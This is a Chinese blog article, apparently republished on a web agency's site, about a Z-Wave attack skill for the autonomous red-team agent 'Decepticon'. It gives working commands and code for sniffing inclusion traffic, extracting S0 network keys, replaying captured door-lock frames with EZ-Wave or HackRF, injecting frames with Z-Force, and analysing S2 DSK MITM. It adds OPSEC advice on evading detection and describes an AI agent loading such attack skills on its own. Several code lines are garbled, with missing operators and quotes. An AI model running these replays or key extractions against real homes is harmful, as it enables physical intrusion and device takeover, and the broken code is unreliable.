Decepticon Z-Wave 安全评估技能实战:S0 网络密钥提取、S2 DSK 分析与射频重放

发布时间:2026/10/14 16:01:21
Decepticon Z-Wave 安全评估技能实战:S0 网络密钥提取、S2 DSK 分析与射频重放 【免费下载链接】DecepticonAutonomous Hacking Agent for Red Team项目地址https://gitcode.com/gh_mirrors/de/Decepticon点击查看免费下载本技能文档位于仓库 packages/decepticon/decepticon/skills/standard/iot/z-wave/SKILL.md是 Decepticon 红队技能库中面向智能家居无线链路的完整操作手册。它覆盖 Z-Wave 协议两大安全类别的攻防全流程S02009网络密钥明文传输缺陷的被动提取、S22017ECDH DSK 引导流程的中间人分析以及针对未认证节点的射频重放。读完本文你将掌握从 RTL-SDR 被动捕获、S0 密钥 XOR 还原、EZ-Wave/HackRF 重放到 Z-Force 主动注入的完整实战链路并了解 Decepticon 中该技能如何被 Agent 按需加载、如何将发现固化为知识图谱节点与本地证据。技能定位何时启用 Z-Wave 专项该技能的前置元数据frontmatter定义了它的触发边界与归属这与 Decepticon 的 SKILL.md 规范 完全一致每个技能必须声明name、description、metadata.subdomain与metadata.when_to_use触发词。name: z-wave description: Z-Wave S0 network-key derivation flaw exploitation, S2 ECDH/DSK analysis, replay attacks against unauthenticated Z-Wave nodes, traffic capture with RTL-SDR, and active fuzzing/replay with EZ-Wave and Z-Force. Covers 868.42 MHz (EU) and 908.42 MHz (US) bands. allowed-tools: Bash Read Write metadata: subdomain: iot when_to_use: Z-Wave, S0, S2, ECDH, DSK, EZ-Wave, Z-Force, replay, unauthenticated, smart home, Z-Wave controller, 868 MHz, 908 MHz, RTL-SDR, scapy-radio, Z-Wave network key tags: z-wave, s0, s2, replay, iot, embedded, sdr, 868mhz mitre_attack: T1040, T1557, T1190, T1078从这些字段可以读出技能的适用范围触发词覆盖完整的攻击场景Z-Wave、S0、S2、ECDH、DSK、EZ-Wave、Z-Force、replay、unauthenticated、smart home、RTL-SDR、scapy-radio、Z-Wave network key以及两个频段关键词868 MHz、908 MHz。当任务描述命中这些词时Decepticon 的 Agent 会通过load_skill()按需加载该技能详见下文在 Decepticon 中的调度链路一节。归属 iot 子域subdomain: iot是合法取值见 skill_audit/subdomains.yaml 中的域类别清单技能树索引页 skills/standard/iot/SKILL.md 也将其登记为S0 derivation flaw, S2 ECDH analysis, replay on unauthenticated nodes。MITRE ATTCK 映射frontmatter 声明了T1040、T1557、T1190、T1078四个技术 ID分别与本文各阶段的嗅探捕获、中间人、面向网络设备的利用与有效凭据滥用相对应tags中还保留了868mhz等检索标签方便按频段检索。协议背景为什么 Z-Wave 值得单独评估Z-Wave is the dominant proprietary RF protocol for smart-home devices (locks, thermostats, sensors). Security class S0 (2009) has a fundamental key-exchange flaw: the network key is transmitted in cleartext during inclusion. S2 (2017) upgrades to ECDH but introduces a DSK (Device Specific Key) bootstrapping step that can be MITMd if the controller UI does not enforce out-of-band DSK verification.Z-Wave 是智能家居领域占有率最高的专有射频协议门锁、恒温器、传感器等设备广泛采用。它的两个安全代际各有结构性弱点S02009入网inclusion过程中网络密钥以明文形式在射频链路上传输攻击者只需在入网瞬间被动监听即可还原整个网络的通信密钥——这是协议级别的设计缺陷与设备固件无关。S22017改用 ECDH 密钥交换但引入了 DSK设备专属密钥通常是印在设备标签上的 16 位 PIN引导步骤。如果控制器 UI 不强制用户核对 DSK攻击者就可以在入网过程中实施中间人替换。因此本技能的价值在于无论目标设备是旧款 S0 还是新款 S2只要存在配置不当或协议缺陷都可以通过被动捕获 → 密钥推导 → 重放/注入的链路形成完整攻击面评估。前置条件硬件与软件栈硬件清单设备用途关键参数RTL-SDR Blog v4被动捕获24–1766 MHz 覆盖零射频发射HackRF One主动收发1 MHz–6 GHz支持重放与注入Sigma Designs UZB / Aeotec Z-Stick Gen5USB Z-Wave 控制器供 EZ-Wave / Z-Force 主动工作使用软件清单gr-zwaveGNU Radio 的 Z-Wave OOK 解码器来自 scapy-radio 项目BastilleResearch 维护包含 Z-Wave 模块。EZ-Wave基于 USB Z-Wave 控制器的嗅探/重放工具支持sniff、capture、replay三种工作模式。Z-Force / ZnifferSilabs 的 Z-Wave 抓包与注入工具链PC_Host_SW_Bundle 中的 Zniffer 二进制可在 Windows VM 或 Wine 中运行。Scapy Z-Wave 层用于从 pcap 中解析 Z-Wave 帧结构。安装方式按原文档整理以 Kali 为基准环境# gr-zwave / scapy-radio克隆上游仓库后按 README 构建Z-Wave OOK 解码模块 git clone scapy-radio 仓库 # EZ-Wave克隆上游仓库并安装串口与消息总线依赖 git clone EZ-Wave 仓库 pip install pyserial pyzmq # Z-ForceSilabs从 PC_Host_SW_Bundle 下载 Zniffer 二进制在 Windows VM 或 Wine 中运行注意RTL-SDR 与 HackRF 属于射频硬件需要直通passthrough到 Decepticon 的沙箱环境才能被 Agent 调用纯固件静态分析则不需要硬件。这一前提在 iot_operator.py 的模块注释中有明确说明。Z-Wave 频率参考不同区域的 Z-Wave 主频与回退频段不同开工前必须把 SDR 调到目标设备所在区域的正确频率RegionPrimary frequencyFallbackEU / UK868.42 MHz869.85 MHzUS / CA908.42 MHz916.0 MHzJP922–926 MHz—AU / NZ919.8 MHz921.4 MHz后续所有命令中的-f/--freq参数都应按此表选择EU 场景用868.42e6US 场景用908.42e6。Phase 1RTL-SDR gr-zwave 被动捕获被动捕获是整条攻击链的起点目标是在**入网事件inclusion**发生时抓取射频流量——S0 的明文密钥传输就发生在这个瞬间。两种方式任选其一方式一GNU Radio Companion 实时解调# 使用 gr-zwave 自带的示例流图 zwave_rx.grc # 采样率设为 2 MHz中心频率设为 908.42e6US或 868.42e6EU gnuradio-companion /path/to/gr-zwave/apps/zwave_rx.grc方式二先存 IQ 再离线解码# 1. 用 rtl_sdr 抓原始 IQ 数据2 MHz 采样率、40 dB 增益 rtl_sdr -f 908420000 -s 2000000 -g 40 /tmp/zwave_capture.iq # 2. 交给 gr-zwave 的离线解码器 python3 gr-zwave/apps/decode_zwave_file.py /tmp/zwave_capture.iq实操要点捕获时机决定成败。只有当新设备加入控制器inclusion时S0 密钥传输才会以明文形式出现在链路上日常流量中即使抓到加密帧也无法直接推导密钥。因此建议在目标家庭网络中触发一次设备重新入网或等待用户添加新设备时持续监听。从攻击战术的角度看本阶段对应 frontmatter 中的T1040网络嗅探。RTL-SDR 是纯接收设备捕获阶段零射频发射天然隐蔽。Phase 2S0 密钥提取入网瞬间的明文密钥还原攻击原理S0 的入网序列存在致命缺陷控制器发送NETWORK_KEY_SET命令其中携带 16 字节网络密钥且密钥与 Z-Wave 默认密钥0x00×16做XOR 运算加密节点以NETWORK_KEY_VERIFY确认收到。由于默认密钥是全零XOR 结果就是密钥本身——所谓加密等价于明文传输还原过程可退化为恒等运算DEFAULT_KEY b\x00 * 16 # Z-Wave S0 default key def extract_s0_key(key_set_payload: bytes) - bytes: key_set_payload: bytes 3–18 of the NETWORK_KEY_SET command body (after CC byte 0x98, cmd 0x06). return bytes(a ^ b for a, b in zip(key_set_payload[:16], DEFAULT_KEY)) # Since DEFAULT_KEY is 0x00 this is identity — the key IS the payload.代码中的注释还给出了一条重要的实战修正实际抓包中S0 KEY_SET 中的加密密钥是在临时密钥由控制器 nonce 与节点 nonce 推导下传输的因此必须同时捕获两个 nonce 才能完成真正的推导。也就是说纯理论上的全零密钥 XOR给出了攻击思路工程实现上还要结合 nonce 交换过程还原临时密钥。用 EZ-Wave 嗅探入网流量# EZ-Wave 嗅探模式需要 Aeotec Z-Stick 或 UZB 控制器 python3 EZ-Wave/ezwave.py -s /dev/ttyACM0 -c sniff | tee /tmp/ezwave_sniff.txt抓到的流量可配合 Scapy 的 Z-Wave 层解析帧结构提取NETWORK_KEY_SET的命令体。Phase 3未认证节点的重放攻击No-Security / 已提取 S0 密钥许多旧款设备以**无安全等级no security class**加入网络这类节点会无条件接受寻址到其 NodeID 的任何射频帧——无需解密直接重放即可触发动作。这对应 frontmatter 中的T1078有效凭据/合法指令的滥用思路。EZ-Wave 重放门锁指令# 1. 录制一条合法指令例如门锁 LOCK 命令 python3 EZ-Wave/ezwave.py -s /dev/ttyACM0 -c capture -f /tmp/lock_cmd.bin # 2. 原样重放该帧——即可触发开锁 python3 EZ-Wave/ezwave.py -s /dev/ttyACM0 -c replay -f /tmp/lock_cmd.binHackRF GNU Radio 原始 OOK 重放不依赖 Z-Wave 控制器硬件# 1. 捕获目标帧的原始 IQ hackrf_transfer -r /tmp/zwave_frame.iq -f 908420000 -s 2000000 -l 40 -g 40 # 2. 在同频点上重放 hackrf_transfer -t /tmp/zwave_frame.iq -f 908420000 -s 2000000 -x 47两条路径的取舍EZ-Wave 走的是 USB 控制器协议栈帧格式由工具保证HackRF 走的是物理层 OOK 信号重放更接近射频本质但也更容易被 Z-Wave 嗅探器/IDS 察觉见下文 OPSEC。Phase 4S2 DSK MITM 分析S2 入网使用 ECDHCurve25519DSK设备专属密钥即设备标签上的 16 位 PIN用于引导 ECDH 交换。攻击向量有两个DSK 未被验证时的 MITM如果控制器软件自动接受 DSK、不弹窗要求用户核对伪装的节点就可以在入网时替换自己的公钥从而完成中间人。物理接触导致的 DSK 泄露DSK 印在设备标签或二维码上。攻击者若曾在供应链或零售环节接触过设备可提前记录 DSK之后用自己的控制器完成入网实现设备接管。原文档给出了交叉校验公钥与 DSK 的判定逻辑S2 公钥32 字节的前 2 字节与 DSK 前 2 字节大端序一致若控制器自动放行说明它只核对了前 2 字节而放过了其余 14 字节。# Verify the ECDH public key in the S2 NODE_INFO_CACHED_GET exchange: # Use Z-PC-Zniffer (Silabs) to capture the S2 INCLUSION_REQUESTED_REPORT. # Extract the nodes public key (32 bytes) from the Z-Wave Application # Framework spec table SECURITY_2_PUBLIC_KEY_REPORT. # Cross-check with the DSK: # First 2 bytes of the public key first 2 bytes of the DSK (big-endian). # If auto-granted, the controller accepted without verifying remaining 14 bytes. def check_dsk_mismatch(public_key_hex: str, dsk_pin: str) - bool: pk_bytes bytes.fromhex(public_key_hex) dsk_bytes bytes.fromhex(dsk_pin.replace(-, )) return pk_bytes[:2] dsk_bytes[:2] and pk_bytes[2:16] ! dsk_bytes[2:16]注意dsk_pin.replace(-, )设备标签上的 DSK 通常带连字符分段显示解析前需先去除。该阶段整体对应 frontmatter 中的T1557中间人攻击。Phase 5Z-Force 主动模糊测试Z-Force安全研究者对 Silabs PC Zniffer 的扩展允许通过 USB Z-Wave 控制器注入任意 Z-Wave 帧是链路中唯一的主动模糊测试手段对应T1190思路下对设备协议的主动探测# 向 NodeID 5 注入原始帧命令类 0x25Binary Switch命令 0x01载荷 0xFFSwitch ON zforce inject --node 5 --cc 0x25 --cmd 0x01 --payload 0xFF # 枚举射频范围内的所有节点广播 NodeID 0xFF zforce scan --freq 908420000 # 重放一条捕获的 BASIC_SET 帧 zforce replay --file /tmp/basic_set.zwave --node 5典型用途向二进制开关类设备0x25注入未预期的载荷组合观察设备是否出现异常状态、固件崩溃或旁路逻辑——为后续漏洞利用铺路。证据固化本地证据与知识图谱节点Decepticon 强调评估过程可审计、发现可追溯本技能在 Evidence 一节给出了两条固化路径。路径一本地证据落盘 哈希校验EVIDENCE/workspace/evidence/z-wave/$(date %Y%m%d_%H%M%S) mkdir -p $EVIDENCE cp /tmp/zwave_capture.iq $EVIDENCE/ cp /tmp/ezwave_sniff.txt $EVIDENCE/ sha256sum $EVIDENCE/* $EVIDENCE/sha256.txt原始 IQ、嗅探日志与 sha256 清单一起归档到evidence/z-wave/时间戳目录。这与仓库中 local-evidence-contract.md 定义的证据契约一致证据应落在evidence/树内目录采用带时间戳的独立命名并由校验和保证完整性。路径二写入 engagement 知识图谱kg_add_node( kindfinding, labelfZ-Wave S0 network key extracted NodeID{node_id}, props{ key: fz-wave::s0::{home_id}, home_id: home_id, node_id: node_id, s0_network_key_hex: s0_key.hex(), security_class: S0, frequency_mhz: 908.42, source: gr-zwaveezwave, }, )kg_add_node是 Decepticon 提供的知识图谱工具其实现在 tools/research/tools.py它支持host、vulnerability、cve、finding、credential等节点类型并要求在props中提供确定性key用于去重这里用z-wave::s0::{home_id}保证同一网络只产生一个节点其余字段s0_network_key_hex、frequency_mhz、source等作为属性持久化跨 Agent 迭代可被后续查询与攻击链规划复用。工具文档还提示观察到的资产、漏洞、凭据都应及时写图图谱在 Ralph 迭代间持久存在本次新增的节点下一次新上下文 Agent 即可查询。OPSEC 注意事项原文档给出的操作安全要点每条都直接影响任务成败与合规边界HomeID 全帧广播Z-Wave HomeID32 位在每一帧中都以明文广播抓到任意一帧即可确定网络身份。这意味着被动阶段就足以完成网络指纹识别。门锁重放是物理安全事件重放门锁指令会直接造成物理层面影响只能在业主授权且具备书面回退预案例如备用进门方式的前提下执行。RTL-SDR 零发射纯被动捕获阶段没有任何射频发射隐蔽性最高。HackRF 重放可被检测如果目标环境部署了 Z-Wave 嗅探器或 IDS如 Silabs Zniffer重放行为会被发现但绝大多数消费级智能家居环境没有此类监控。S2 强安全类不可攻破采用ACCESS或AUTHENTICATED安全类且强制人工 DSK 校验的 S2 网络对本技能描述的全部 MITM 手法免疫应在评估报告中标记为已加固hardened。这最后一条也划定了本技能的适用边界评估结论不一定是可攻破也可能是已加固——文档明确要求把免疫场景记录为硬化结果避免误报。在 Decepticon 中的调度链路该技能不是孤立文档它在 Decepticon 中有完整的运行时接入路径技能索引skills/standard/iot/SKILL.md 将 Z-Wave 技能登记在 IoT 技能目录中说明其适用场景是S0 密钥推导缺陷、S2 ECDH 分析、未认证节点重放。Agent 装载agents/standard/iot_operator.py 中的_SKILL_SOURCES [/skills/standard/iot/, /skills/shared/]将整个 IoT 技能树挂载给 IotOperator 子代理SUBAGENT_SPEC同文件 L126-L140的描述中明确列出Z-Wave作为该子代理的技能面当任务范围包含 IoT/嵌入式硬件射频BLE GATT、Zigbee Touchlink、Z-Wave、sub-GHz、LoRaWAN时OPPLAN 会路由到该子代理。按需加载middleware/skills.py 实现 SkillsMiddlewareAgent 在目标命中when_to_use触发词时通过load_skill()加载完整的 SKILL.md 再执行技术动作而不是从记忆里凭空操作。图与证据闭环kg_add_node将发现写入 engagement 知识图谱tools/research/tools.py本地证据按 local-evidence-contract.md 落盘形成执行 → 证据 → 图谱 → 链规划的闭环。参考与延伸阅读原文档列出的参考来源整理如下均为项目背景资料不在此展开外部链接EZ-WaveAFcruzBR 维护的 Z-Wave 嗅探/重放工具集本文 Phase 2/3 的核心工具。gr-zwave / scapy-radioBastilleResearch 维护的 GNU Radio Z-Wave OOK 解码模块Phase 1 的解调核心。Z-Wave Reverse EngineeringCrowley Heeger, DEF CON 21Z-Wave 逆向工程的经典公开研究频率与协议细节的原始来源。Silabs Z-Wave PC ZnifferSilabs 官方 Z-Wave 抓包工具PC_Host_SW_BundleZ-Force 的基座。Z-Wave Alliance 安全类规范 SDS13784Security 2 specS2 安全类的协议规范依据对应本文 Phase 4 的SECURITY_2_PUBLIC_KEY_REPORT等表项出处。仓库内可继续深入的相关材料同属 IoT 无线侧带的其他技能 zigbee-touchlink/SKILL.mdTouchlink 滥用、sub-ghz/SKILL.md433/868/915 MHz 捕获重放以及 docs/red-team/ai-red-teaming.md 等红队方法论文档。若要为 Decepticon 新增同类技能请参照 skill-schema.md 的 frontmatter 与校验规则并运行make audit-skills完成审计。赞分享【免费下载链接】DecepticonAutonomous Hacking Agent for Red Team项目地址https://gitcode.com/gh_mirrors/de/Decepticon点击查看免费下载相关推荐Home Assistant Z-Wave JS 插件深度指南USB 控制器接入、安全密钥配置与网络排障实战Home Assistant Z Wave JS 插件深度指南USB 控制器接入、安全密钥配置与网络排障实战 本指南以仓库中 zwave_js 插件 http物联网智能家居后端Home Assistant Z-Wave JS 插件Add-on安装、配置与安全密钥实战指南Home Assistant Z Wave JS 插件Add on安装、配置与安全密钥实战指南 导读 本文以本仓库中的 zwave_js/DOCS.md h物联网智能家居后端Decepticon Reverser 勒索软件分析技能家族识别、加密方案逆向、密钥恢复与 IOC 提取实战指南Decepticon Reverser 勒索软件分析技能家族识别、加密方案逆向、密钥恢复与 IOC 提取实战指南 本文围绕 Decepticon 自动化红队框创作声明:本文部分内容由AI辅助生成(AIGC),仅供参考

关于本文作者

来自尧图内容编辑团队

尧图内容编辑团队 内容团队

尧图内容编辑团队

本文由尧图网络内容编辑团队执笔。团队由资深项目经理、前端工程师与设计师组成,所有内容均来自亲手交付的真实项目,先讲清问题、再给出可落地的解法。尧图深耕北京网站建设十年,服务过京华建材集团、智造科技等各行业客户,把一线经验沉淀为可复用的行业观察。

  • 十年建站经验,覆盖建材、制造、服务、文创等
  • 项目经理把关选题与事实准确性
  • 工程师与设计师联合撰写专业细节
  • 统一编辑规范,保证文风与排版一致
  • 每月复盘转化数据,迭代选题方向

延伸阅读

相关资讯与近期热门内容

深度阅读推荐

建站决策前值得细读的三篇

网站改版的5个关键决策
2024-08-12

网站改版的5个关键决策

什么时候该改版、改到什么程度、如何避免流量掉光,京华建材集团改版复盘给出答案。

获取专属建站方案

看完文章,把您的行业与预算告诉我们,免费获取一份量身定制的官网建设方案与报价。

立即免费咨询